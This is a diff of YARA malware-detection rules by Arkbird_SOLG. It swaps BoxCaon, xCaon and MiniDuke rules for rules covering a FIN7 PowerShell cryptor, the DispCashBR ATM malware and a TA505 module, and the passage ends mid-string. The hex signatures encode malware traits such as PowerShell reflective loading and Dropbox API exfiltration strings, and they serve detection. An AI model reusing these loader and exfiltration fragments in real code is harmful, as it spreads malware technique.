ARKBIRD_SOLG_Mal_Boxcaon_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_CRIM_FIN7_PS_Cryptor_Jun_2021_1 : FILE { meta: - description = "Detect the BoxCaon malware" + description = "Detect PS Cryptor used by FIN7 for Diceloader and Carbanak" author = "Arkbird_SOLG" - id = "5f456b73-02f9-5dd7-973e-bde20dcddd27" - date = "2021-07-01" - modified = "2021-07-02" - reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_BoxCaon_Jul_2021_1.yara#L1-L22" + id = "26361500-c33e-59c8-a53f-a881966c71a7" + date = "2021-06-07" + modified = "2021-06-07" + reference = "https://twitter.com/z0ul_/status/1401795117678219267" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-07/FIN7/CRIM_FIN7_PS_Cryptor_Jun_2021_1.yara#L1-L28" license_url = "N/A" - logic_hash = "c7dfce8d7a451817a80897d5cb02cec5aba52f86ece0286353865b7d391e2ffc" + logic_hash = "d7eadaa6dec75ecfa2f03860f41b39dbe9e7ffc9e6ad743497586356301ef67c" score = 75 - quality = 46 + quality = 55 tags = "FILE" - hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b" - hash2 = "d0b88ab321a05fc94505620c9d02baec4cb1de7bb3b0067de4f8c0d3ba8548b2" + hash1 = "944e47dc9da19b753beba173214cdebea2aa3651c402dfacae2dde82c4fdaa43" + hash2 = "fada67a9f89429d6c191cd6fef5d75cd7b49eebaa2e40d1dd1f9884b3038a23b" + hash3 = "0f083aac77fb734a8e81fb9dff218f0414ac6c4c9a23b2832837fbc2c7e2031d" + hash4 = "dc9442838b464e96281a32705c9b5958e4f45dbefd1ef4a885fac9898af0a4b7" + hash5 = "fad295cf65552061dc553c21d89d8bbd0b02783c01f5e696232df6a14381c206" tlp = "White" - adversary = "IndigoZebra" + adversary = "FIN7" strings: - $s1 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 61 75 74 6f 72 65 6e 61 6d 65 22 3a 20 66 61 6c 73 65 7d } - $s2 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 72 65 63 75 72 73 69 76 65 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 65 64 69 61 5f 69 6e 66 6f 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 64 65 6c 65 74 65 64 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 68 61 73 5f 65 78 70 6c 69 63 69 74 5f 73 68 61 72 65 64 5f 6d 65 6d 62 65 72 73 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 6f 75 6e 74 65 64 5f 66 6f 6c 64 65 72 73 22 3a 20 74 72 75 65 2c 22 69 6e 63 6c 75 64 65 5f 6e 6f 6e 5f 64 6f 77 6e 6c 6f 61 64 61 62 6c 65 5f 66 69 6c 65 73 22 3a 20 74 72 75 65 7d } - $s3 = "api.dropboxapi.com" fullword ascii - $s4 = { 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 3a 20 22 00 00 00 22 00 00 00 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 20 3a 20 22 00 00 0d 00 0a 00 44 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 3a 00 20 00 7b 00 22 00 70 00 61 00 74 00 68 00 22 00 3a 00 20 00 22 00 00 00 22 00 7d 00 0d 00 0a 00 00 00 00 00 7b 22 65 72 72 6f 72 5f 73 75 6d 6d 61 72 79 22 00 00 00 00 25 00 73 00 5c 00 25 00 73 00 00 00 7b 22 70 61 74 68 22 3a 20 22 25 73 22 } - $s5 = "C:\\Users\\Public\\%d\\" fullword ascii - $s6 = { 22 00 2c 00 22 00 6d 00 6f 00 64 00 65 00 22 00 3a 00 20 00 22 00 6f 00 76 00 65 00 72 00 77 00 72 00 69 00 74 00 65 00 22 00 2c 00 22 00 61 00 75 00 74 00 6f 00 72 00 65 00 6e 00 61 00 6d 00 65 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 2c 00 22 00 6d 00 75 00 74 00 65 00 22 00 3a 00 20 00 74 00 72 00 75 00 65 00 2c 00 22 00 73 00 74 00 72 00 69 00 63 00 74 00 5f 00 63 00 6f 00 6e 00 66 00 6c 00 69 00 63 00 74 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 7d 00 0d 00 0a 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d } - $s7 = { 25 73 2f [1-4] 2e 74 78 74 } - $s8 = { 25 73 2f [1-4] 2d 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 74 78 74 } + $s1 = { 3d 4e 65 77 2d 4f 62 6a 65 63 74 20 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 44 65 66 6c 61 74 65 53 74 72 65 61 6d 28 5b 49 4f 2e 4d 65 6d 6f 72 79 53 74 72 65 61 6d 5d 5b 42 79 74 65 5b 5d [6-12] 5b 49 4f 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 2e 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 5d 3a 3a 44 65 63 6f 6d 70 72 65 73 73 29 } + $s2 = { 40 28 5b 49 6e 74 50 74 72 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 2c 5b 55 49 6e 74 33 32 5d 29 28 5b 49 6e 74 50 74 72 5d 29 } + $s3 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 29 2e 47 65 74 54 79 70 65 28 29 2c 20 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c } + $s4 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 } + $s5 = { 2c 20 24 6e 75 6c 6c 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 41 6e 79 2c 20 40 28 5b 73 74 72 69 6e 67 5d 29 2c 20 24 6e 75 6c 6c 29 } + $s6 = { 5b 41 70 70 44 6f 6d 61 69 6e 5d 3a 3a 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 2e 47 65 74 41 73 73 65 6d 62 6c 69 65 73 28 29 20 7c 20 57 68 65 72 65 2d 4f 62 6a 65 63 74 20 7b 20 24 5f 2e 47 6c 6f 62 61 6c 41 73 73 65 6d 62 6c 79 43 61 63 68 65 20 2d 41 6e 64 20 24 5f 2e 4c 6f 63 61 74 69 6f 6e 2e 53 70 6c 69 74 28 27 5c 5c 27 29 5b 2d 31 5d 2e 45 71 75 61 6c 73 28 28 } + $s7 = { 2c 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 43 61 6c 6c 69 6e 67 43 6f 6e 76 65 6e 74 69 6f 6e 73 5d 3a 3a 53 74 61 6e 64 61 72 64 2c } + $s8 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 5d 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 48 61 6e 64 6c 65 52 65 66 28 24 } + $s9 = { 3d 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 28 24 } + $s10 = { 5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 43 6f 70 79 28 24 } + $s11 = { 3d 5b 49 6e 74 50 74 72 5d 3a 3a 5a 65 72 6f } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 6 of ( $s* ) + filesize > 40KB and 8 of ( $s* ) } -rule ARKBIRD_SOLG_Mal_Xcaon_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_ATM_Dispcashbr_May_2021_1 : FILE { meta: - description = "Detect the xCaon malware" + description = "Detect the DispCashBR ATM malware" author = "Arkbird_SOLG" - id = "bcd5a52d-9547-5709-95f4-9d1f956f623c" - date = "2021-07-01" - modified = "2021-07-02" - reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_xCaon_Jul_2021_1.yara#L1-L21" + id = "629261d8-242c-580d-aa4d-4b313c77edef" + date = "2020-05-14" + modified = "2021-05-14" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-14/DispCashBR/ATM_DispCashBR_May_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "9c3e3d0035596323a505404ecc067bd2b87a4b0ac7499f1c87aac015f59eb65a" + logic_hash = "26f641a266c1f187d834a05b327c13ddee93747e182a5458e4ec3cb1f23f5f47" score = 75 quality = 75 tags = "FILE" - hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b" - hash2 = "e9013f35ce11fc4c5eb2c21827bdc459202d362365d6ea5b724dee4fe0088bd1" - hash3 = "489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216" + hash1 = "432f732a4ecbb86cb3dedbfa881f2733d20cbcc5958ead52823bf0967c133175" + hash2 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036" tlp = "White" - adversary = "IndigoZebra" + adversary = "-" strings: - $s1 = { a1 7c 10 41 00 33 c5 89 45 fc 8b 45 08 56 57 6a 49 89 85 f8 80 ff ff 58 6a 50 66 89 45 c8 58 6a 48 66 89 45 ca 58 6a 4c 66 89 45 cc 58 6a 50 66 89 45 ce 58 6a 41 66 89 45 d0 58 6a 50 66 89 45 d2 58 6a 49 66 89 45 d4 58 6a 2e 66 89 45 d6 58 6a 44 66 89 45 d8 58 66 89 45 da 6a 4c 58 66 89 45 dc 66 89 45 de 33 c0 66 89 45 e0 8d 45 c8 50 c7 45 e4 47 65 74 41 c7 45 e8 64 61 70 74 c7 45 ec 65 72 73 49 c7 45 f0 6e 66 6f 00 ff 15 50 d0 40 00 8d 4d e4 51 50 89 85 f4 80 ff ff ff 15 54 d0 40 00 8d 8d f0 80 ff ff 51 8d 8d fc 80 ff ff 51 c7 85 f0 80 ff ff 90 7e 00 00 ff d0 8b c8 33 c0 c6 45 f4 00 8d 7d f5 ab 66 ab aa 85 c9 0f 85 1d 01 00 00 53 6a 25 5e 6a 30 5a 6a 32 59 8b c6 66 89 45 8c 8b c2 66 89 45 8e 6a 58 8b c1 66 89 45 90 58 8b f8 6a 2d 66 89 7d 92 5f 8b df 66 89 5d 94 8b de 66 89 5d 96 8b da 66 89 5d 98 8b d9 66 89 5d 9a 8b d8 66 89 5d 9c 8b df 66 89 5d 9e 8b de 66 89 5d a0 8b da 66 89 5d a2 8b d9 66 89 5d a4 8b d8 66 89 5d a6 8b df 66 89 5d a8 8b de 66 89 5d aa 8b da 66 89 5d ac 8b d9 66 89 5d ae 8b d8 66 89 5d b0 8b df 66 89 5d b2 8b de 66 89 5d b4 8b da 66 89 5d b6 8b d9 66 89 45 c4 66 89 5d b8 8b d8 33 c0 66 89 45 c6 6a 06 8d 85 90 82 ff ff 50 8d 45 f4 50 66 89 5d ba 66 89 7d bc 66 89 75 be 66 89 55 c0 66 89 4d c2 e8 ?? 17 00 00 0f b6 45 f9 50 0f b6 45 f8 50 0f b6 45 f7 50 0f b6 45 f6 50 0f b6 45 f5 50 0f b6 45 f4 50 8d 45 8c 50 ff b5 f8 80 ff ff ff 15 44 d1 40 00 83 c4 2c 33 f6 46 5b ff b5 f4 80 ff ff ff 15 4c d0 40 00 8b } - $s2 = { 6a 5b 58 6a 55 66 89 45 c4 58 6a 70 66 89 45 c6 58 6a 6c 66 89 45 c8 58 6a 6f 66 89 45 ca 58 6a 61 66 89 45 cc 58 6a 64 66 89 45 ce 58 6a 5d 66 89 45 d0 58 6a 0d 66 89 45 d2 58 6a 0a 66 89 45 d4 58 6a 25 66 89 45 d6 33 c0 66 89 45 d8 58 6a 74 66 89 45 ac 8b c6 66 89 45 ae 58 6a 6d 66 89 45 b0 58 6a 70 66 89 45 b2 58 6a 25 66 89 45 b4 58 6a 64 66 89 45 b6 58 6a 2e 66 89 45 b8 58 6a 6c 66 89 45 ba 58 6a 6f 66 89 45 bc 58 6a 67 66 89 45 be 58 6a 46 66 89 45 c0 33 c0 66 89 45 c2 58 6a 69 66 89 45 dc 58 6a 6c 66 89 45 de 58 6a 65 66 89 45 e0 58 6a 3a 66 89 45 e2 58 66 89 45 e4 6a 25 58 66 89 45 e6 6a 0d 58 66 89 45 ea 6a 0a 58 66 89 45 ec 33 c0 66 89 45 ee 8d 45 c4 50 66 89 75 e8 e8 ?? 11 00 00 59 8d 4d c4 8d b5 50 f3 ff ff e8 [2] ff ff 89 bd 4c f2 ff ff c7 85 48 f3 ff ff 0f 00 00 00 89 bd 44 f3 ff ff c6 85 34 f3 ff ff 00 8d 85 34 f3 ff ff 50 83 ec 1c c6 45 fc 03 8d 85 fc f2 ff ff 8b f4 89 a5 50 f2 ff ff 50 e8 [2] ff ff e8 [2] ff ff 8b 9d 34 f3 ff ff 83 c4 20 83 bd 48 f3 ff ff 10 73 06 8d 9d 34 f3 ff ff 8d 85 4c f2 ff ff 50 } - $s3 = { 83 c4 10 8d 85 6c fb ff ff 50 68 04 01 00 00 ff 15 2c d0 40 00 33 c0 56 66 89 85 74 fd ff ff 8d 85 76 fd ff ff 53 50 e8 ?? 10 00 00 83 c4 0c ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 6c fb ff ff 50 8d 45 ac 50 8d 85 74 fd ff ff 50 ff d6 83 c4 10 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 74 fd ff ff 50 ff 15 24 d0 40 00 8b f8 83 ff ff 74 79 53 8d 85 50 f2 ff ff 50 ff b5 4c f2 ff ff 89 9d 50 f2 ff ff ff b5 48 f2 ff ff 57 ff 15 14 d0 40 00 57 ff 15 34 d0 40 00 33 c0 68 fe 07 00 00 66 89 85 6c f3 ff ff 8d 85 6e f3 ff ff 53 50 e8 ?? 10 00 00 8d 85 74 fd ff ff 50 8d 45 dc 50 8d 85 6c f3 ff ff 50 ff d6 8d 85 6c f3 ff ff 50 8d 85 18 f3 ff ff 50 8d 8d 50 f3 ff ff e8 [2] ff ff 83 } - $s4 = { 8b 45 08 33 ff 89 85 60 f1 ff ff 89 bd 5c f1 ff ff 33 c0 be 06 02 00 00 89 7d fc 56 66 89 85 88 fb ff ff 8d 85 8a fb ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 80 f9 ff ff 8d 85 82 f9 ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee bb 04 01 00 00 53 8d 85 88 fb ff ff 50 8d 45 e0 50 ff 15 00 d0 40 00 8d 85 80 f9 ff ff 50 53 ff 15 2c d0 40 00 6a 25 58 6a 73 5b 6a 63 66 89 45 c0 8b c3 66 89 45 c2 58 6a 63 66 89 45 c4 8b c3 66 89 45 c6 58 6a 6f 66 89 45 c8 58 6a 64 66 89 45 ca 58 6a 65 66 89 45 cc 58 66 89 45 ce 6a 25 58 6a 64 66 89 45 d0 58 6a 2e 66 89 45 d2 58 6a 6c 66 89 45 d4 58 6a 6f 66 89 45 d6 58 6a 67 66 89 45 d8 58 66 89 45 da 33 c0 68 fe 07 00 00 66 89 45 dc 66 89 85 80 f1 ff ff 8d 85 82 f1 ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 90 fd ff ff 8d 85 92 fd ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 25 58 6a 20 66 89 45 98 8b c3 66 89 45 9a 58 6a 2f 8b c8 66 89 4d 9c 59 6a 41 66 89 4d 9e 59 6a 2f 66 89 4d a0 8b c8 66 89 4d a2 59 6a 43 66 89 4d a4 59 66 89 4d a6 6a 22 8b c8 66 89 4d a8 59 6a 25 66 89 4d aa 59 66 89 4d ac 6a 22 8b cb 66 89 4d ae 59 66 89 4d b0 8b c8 6a 3e 66 89 4d b2 59 66 89 45 b6 6a 25 58 66 89 45 b8 33 c0 66 89 4d b4 66 89 5d ba 66 89 45 bc ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 80 f9 ff ff 50 8d 45 c0 50 8d 85 90 fd ff ff 50 ff d6 8b 45 0c 83 c4 10 83 7d 20 08 73 03 8d 45 0c 8d 8d 90 fd ff ff 51 50 8d 85 88 fb ff ff 50 8d 45 98 50 8d 85 80 f1 ff ff 50 ff d6 6a 44 5e 56 8d 85 04 f1 ff ff 57 50 e8 [2] 00 00 6a 10 8d 85 48 f1 ff ff 57 50 89 b5 04 f1 ff ff e8 [2] 00 00 83 c4 2c 8d 85 04 f1 ff ff 50 ff 15 28 d0 40 00 33 c0 66 89 85 34 f1 ff ff 8d 85 48 f1 ff ff 50 8d 85 04 f1 ff ff 50 57 57 6a 10 57 57 57 8d 85 80 f1 ff ff 33 db 50 43 57 89 9d 30 f1 ff ff ff 15 08 d0 40 00 68 3f 77 1b 00 ff b5 48 f1 ff ff 8b f0 ff 15 0c d0 40 00 3b f7 0f 84 1c 01 00 00 ff b5 4c f1 ff ff 8b 35 34 d0 40 00 ff d6 ff b5 48 f1 ff ff ff d6 33 c0 c7 85 78 f1 ff ff 07 00 00 00 89 bd 74 f1 ff ff 66 89 85 64 f1 ff ff 57 57 6a 03 57 57 68 00 00 00 80 8d 85 90 fd ff ff 50 88 5d fc ff 15 24 d0 40 00 89 85 5c f1 ff ff 83 f8 ff 0f 84 96 00 00 00 57 50 ff 15 04 d0 40 00 89 85 58 f1 ff ff 83 f8 ff 75 2b ff b5 5c f1 ff ff ff d6 8b 85 60 f1 ff ff 68 64 f1 40 00 e8 f1 00 00 00 53 33 ff 8d b5 64 f1 ff ff e8 64 03 00 00 e9 95 00 00 00 83 c0 02 50 e8 [2] 00 00 8b d8 8b 85 58 f1 ff ff 83 c0 02 50 57 53 e8 [2] 00 00 83 c4 10 57 8d 85 58 f1 ff ff 50 ff b5 58 f1 ff ff 53 ff b5 5c f1 ff ff ff 15 20 d0 40 00 ff b5 5c f1 ff ff ff d6 8d 85 64 f1 ff ff 50 53 e8 d9 11 00 00 53 e8 [2] 00 00 83 c4 0c 8d 85 90 fd ff ff 50 ff 15 38 d0 40 00 8b b5 60 f1 ff ff 8d 9d 64 f1 ff ff e8 96 00 00 00 6a 01 33 ff 8b } - $s5 = { be 06 02 00 00 89 ?? fc 56 66 89 85 ?? fb ff ff 8d 85 ?? fb ff ff ?? 50 e8 [2] 00 00 33 c0 56 66 89 85 ?? f9 ff ff 8d 85 ?? f9 ff ff ?? 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee ?? 04 01 00 00 ?? 8d 85 ?? fb ff ff 50 8d 45 e0 50 ff 15 00 [2] 00 8d 85 ?? f9 ff ff 50 ?? ff 15 [3] 00 } - $s6 = { 8b 45 08 [5] ff [5] 6a 07 89 85 10 ff ff ff ?? 33 ?? 33 c0 89 ?? 14 89 ?? 10 89 ?? 18 ff ff ff 66 89 ?? 8d ?? 1c 89 ?? fc 89 ?? 14 89 ?? 10 66 89 ?? 8d ?? 38 89 ?? 14 89 ?? 10 89 ?? 0c ff ff ff 66 89 ?? 89 ?? 6c 89 ?? 68 66 89 ?? 58 89 ?? 88 00 00 00 89 ?? 84 00 00 00 66 89 ?? 74 89 ?? b8 00 00 00 89 ?? b4 00 00 00 66 89 ?? a4 00 00 00 6a 68 } + $seq1 = { c7 45 cc 00 00 00 00 c7 04 24 68 5d 40 00 e8 40 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 89 44 24 04 c7 04 24 89 5d 40 00 e8 0c 0e 00 00 c7 04 24 a4 5d 40 00 e8 18 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 01 45 cc c7 04 24 d0 07 00 00 e8 7d 0e 00 00 83 ec 04 8b 85 a0 fd ff ff 8d 48 0a 0f b7 85 be fd ff ff 0f b7 c0 8d 95 98 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 89 4c 24 08 c7 44 24 04 2e 01 00 00 89 04 24 e8 75 05 00 00 83 ec 14 89 45 e8 8b 45 e8 83 c0 38 83 } + $seq2 = { 0f b7 85 be fd ff ff 0f b7 c0 8b 55 e4 89 54 24 08 c7 44 24 04 06 00 00 00 89 04 24 e8 7e 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 b8 fd ff ff 89 54 24 08 c7 44 24 04 00 00 00 00 89 04 24 e8 5f 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 f8 16 00 00 83 ec 14 89 45 e0 8d 85 ac fd ff ff 89 44 24 08 c7 44 24 04 03 00 00 00 c7 04 24 04 00 00 00 e8 dc 16 00 00 83 ec 0c 8b 45 e0 83 c0 38 83 f8 } + $seq3 = { 8b 85 a8 fd ff ff 8b 50 14 8b 85 a8 fd ff ff 8b 40 10 0f af c2 89 45 d8 8b 45 d8 89 44 24 04 c7 04 24 04 5b 40 00 e8 aa 12 00 00 8b 85 a4 fd ff ff 0f b7 40 04 0f b7 c0 89 44 24 04 c7 04 24 24 5b 40 00 e8 8d 12 00 00 8b 85 a8 fd ff ff 8b 50 18 8b 85 a8 fd ff ff 8b 40 1c 0f af c2 89 45 d4 c7 45 f0 00 00 00 00 8b 45 d8 89 44 24 04 c7 04 24 45 5b 40 00 e8 5b 12 00 00 83 45 f0 01 83 7d f0 01 7e e3 8b 85 a0 fd ff ff c7 40 06 01 00 00 00 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 60 ed ff ff 89 45 d0 } + $seq4 = { c7 45 ec 00 00 00 00 8d 85 c4 fd ff ff 89 44 24 04 c7 04 24 03 00 02 0b e8 47 1b 00 00 83 ec 08 89 45 e8 83 7d e8 00 74 18 c7 04 24 92 50 40 00 e8 8b 23 00 00 c7 04 24 ff ff ff ff e8 8f 23 00 00 c7 04 24 aa 50 40 00 e8 8b 23 00 00 c7 04 24 f5 ff ff ff e8 ef 23 00 00 83 ec 04 c7 44 24 04 03 00 00 00 89 04 24 e8 e4 23 00 00 83 ec 08 c7 04 24 b8 0b 00 00 e8 dd 23 00 00 83 ec 04 c7 04 24 c4 50 40 00 e8 4e 23 00 00 8d 85 c4 fd ff ff 83 c0 06 89 44 24 04 c7 04 24 ed 50 40 00 e8 1d 23 00 00 8d 85 c4 fd ff ff 05 07 01 00 00 89 44 24 04 c7 04 24 03 51 40 00 e8 02 23 00 00 0f b7 85 c8 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 1a 51 40 00 e8 e8 22 00 00 0f b7 85 c6 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 2f 51 40 00 e8 ce 22 00 00 0f b7 85 c4 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 42 51 40 00 e8 b4 22 00 00 c7 04 24 54 51 40 00 e8 c0 22 00 00 8d 85 c0 fd ff ff 89 04 24 e8 46 1a 00 00 83 ec 04 8b 85 c0 fd ff ff 8d 95 be fd ff ff 89 54 24 20 c7 44 24 1c 00 00 00 00 8d 95 c4 fd ff ff 89 54 24 18 c7 44 24 14 0f 00 02 0b c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 7f 51 40 00 e8 f9 19 00 00 83 ec 24 89 45 e8 8b 45 e8 83 c0 36 83 f8 } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 20KB and 3 of ( $seq* ) } -rule ARKBIRD_SOLG_APT_APT29_Miniduke_Mar_2021_1 : FILE + +rule ARKBIRD_SOLG_TA505_Bin_21Nov_1 : FILE { meta: - description = "Detect MiniDuke implant used by APT29 group" + description = "module1.bin" author = "Arkbird_SOLG" - id = "2faefc2f-afe3-51df-b530-50d3b3775071" - date = "2021-03-08" - modified = "2021-03-10" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_MiniDuke_Mar_2021_1.yar#L1-L20" + id = "2f23653e-5158-5a64-86ee-a58048780661" + date = "2019-11-21" + modified = "2019-11-21" + reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L3-L30" license_url = "N/A" - logic_hash = "2fcbe37f9ee26a246bfc397cc907bb570a01d0f5b8e323a81aae0f6426b60435" - score = 50 + logic_hash = "133f202300a9e0428d20ce76bc832cf45cb5dacb05e39c21130d8d5cc39446ba" + score = 75 quality = 75 tags = "FILE" - hash1 = "6057b19975818ff4487ee62d5341834c53ab80a507949a52422ab37c7c46b7a1" - level = "Experimental" + hash1 = "bfe610790d41091c37ae627472f5f8886357e713945ca8a5e2b56cd6c791f989" strings: - $s1 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 00 00 00 00 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 25 73 } - $s2 = { 70 72 6f 63 3a 20 20 25 64 20 25 73 0a 6c 6f 67 69 6e 3a 20 25 73 5c 25 73 0a 49 44 3a 20 20 20 20 30 78 25 30 38 58 0a 68 6f 73 74 3a 20 20 25 73 3a 25 64 0a 6d 65 74 68 3a 20 20 25 73 20 25 64 0a 70 69 70 65 3a 20 5c 5c 25 73 5c 70 69 70 65 5c 25 73 0a 6c 61 6e 67 3a 20 20 25 73 0a 64 65 6c 61 79 3a 20 25 64 } - $s3 = { 75 70 74 69 6d 65 20 25 35 64 2e 25 30 32 64 68 0a 00 25 73 3a 25 64 00 25 73 5c 25 73 00 3f 00 25 64 20 25 73 0a 25 73 20 25 73 20 25 73 } - $s4 = { 55 89 e5 83 ec 14 6a 02 ff 15 b8 53 44 00 e8 fd fe ff ff 8d b6 00 00 00 00 8d bc 27 00 00 00 00 55 89 e5 83 ec 14 6a 01 ff 15 } - $s5 = { 8b 85 54 64 ff ff 8b 95 44 64 ff ff 83 c2 44 89 44 24 04 89 14 24 e8 a4 e5 fc ff 83 ec 08 8b 85 44 64 ff ff 83 c0 38 c7 44 24 08 0c 00 00 00 